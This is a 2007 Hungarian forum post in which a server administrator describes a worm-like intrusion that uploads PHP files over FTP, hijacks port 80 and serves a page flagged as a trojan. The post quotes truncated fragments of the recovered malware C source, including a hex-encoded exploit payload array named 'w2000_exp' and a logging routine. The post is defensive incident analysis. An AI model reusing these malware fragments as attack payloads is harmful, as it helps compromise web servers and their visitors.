( bugos | 2007. 04. 08., v – 08:45 )

Sziasztok,

Énis tapasztaltam az utóbbi napokban az egyik szerveren hasonlót (Apache 2.2.4, php 5.2.1). Az illető vagy a worm fel ftp-z 2 fájlt (fw.php és fw.htm illetve láttam ch.php néven is) az általa létrehozott "timages" vagy "timag" nevü könyvtárba, tartalmuk teljesen egyforma, egy C forráskód, majd valahogy "lefordítja" és a weben meghivva (van hogy simán a fw.php-t de láttam fw.php?p=xxxx ami a pidet akarja jelenteni ha jól sejtem) az apacheot kiakasztja vagy egyszerüen elé rakja magát, mivel a 80-as porton ő figyel a kis wormos oldalával, amit a virusirtó (Kaspersky) klasszul jelez is (Trojan.Win32.Agent.qt). És természetesen törli az összes fájlt és a könyvtárat amiket felrakott (fw.php, fw.htm, log és a timages nevü könyvtárat). Természetesen az apache2 újraindítása után müködött minden a következő worm ftp-ig.

Általában valami xx.xx.xxxx.static.theplanet.com címről ftp-zett és webezett.

A C forrás megszerzése kissé izgalmas volt, a timages könyvtár letrehozása chattr +a -val segített, és igy már a fordítás se ment neki, mert gondolom ugyanolyan fájlnéven akarta létrehozni (fw.php).

Pár részlet a kódból:

/* single process version */

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

/* don't change this line */
unsigned char w2000_exp[] =
"\x3c\x68\x74\x6d\x6c\x3e\x3c\x68\x65\x61\x64\x3e\x3c\x73\x74\x79"
"\x6c\x65\x3e\x20\x76\x5c\x3a\x2a\x20\x7b\x20\x62\x65\x68\x61\x76"
"\x69\x6f\x72\x3a\x20\x75\x72\x6c\x28\x23\x64\x65\x66\x61\x75\x6c"
"\x74\x23\x56\x4d\x4c\x29\x3b\x20\x7d\x3c\x2f\x73\x74\x79\x6c\x65"
"\x3e\x3c\x2f\x68\x65\x61\x64\x3e\x3c\x62\x6f\x64\x79\x3e\x3c\x73"
"\x63\x72\x69\x70\x74\x20\x6c\x61\x6e\x67\x75\x61\x67\x65\x3d\x76"

...

#define DOLOG1

void llog( char * s )
{

#ifdef DOLOG

char buf[2048];
FILE *f;
time_t curtime;
struct tm *loctime;

if ( f = fopen( "log", "a+t" ) )
{

curtime = time(NULL);
loctime = localtime (&curtime);
strftime( buf, 2047, "%H:%M:%S|", loctime );
fwrite( buf, strlen( buf ), 1, f );

sprintf( buf, "%d|", getpid() );
fwrite( buf, strlen( buf ), 1, f );

fwrite( s, strlen( s ), 1, f );
fwrite( "\n", strlen( "\n" ), 1, f );
fclose( f );
}

#endif

...

Kérdéseim a következők lennének:
1. Vajon honnan szerzett FTP jelszavakat (sniffelés, bruteforce, stb?), pure-ftpd van a szerveren és mysql-ben léteznek csak az userek, természetesen md5-s kódólt jelszavakkal.
2. Hogyan forditja le a C forrást? (Elvileg ssh-t nem használt, bár annó láttam elég durva PHP-s scriptet amiből szinte bármit lehetett csinalni)

bugOS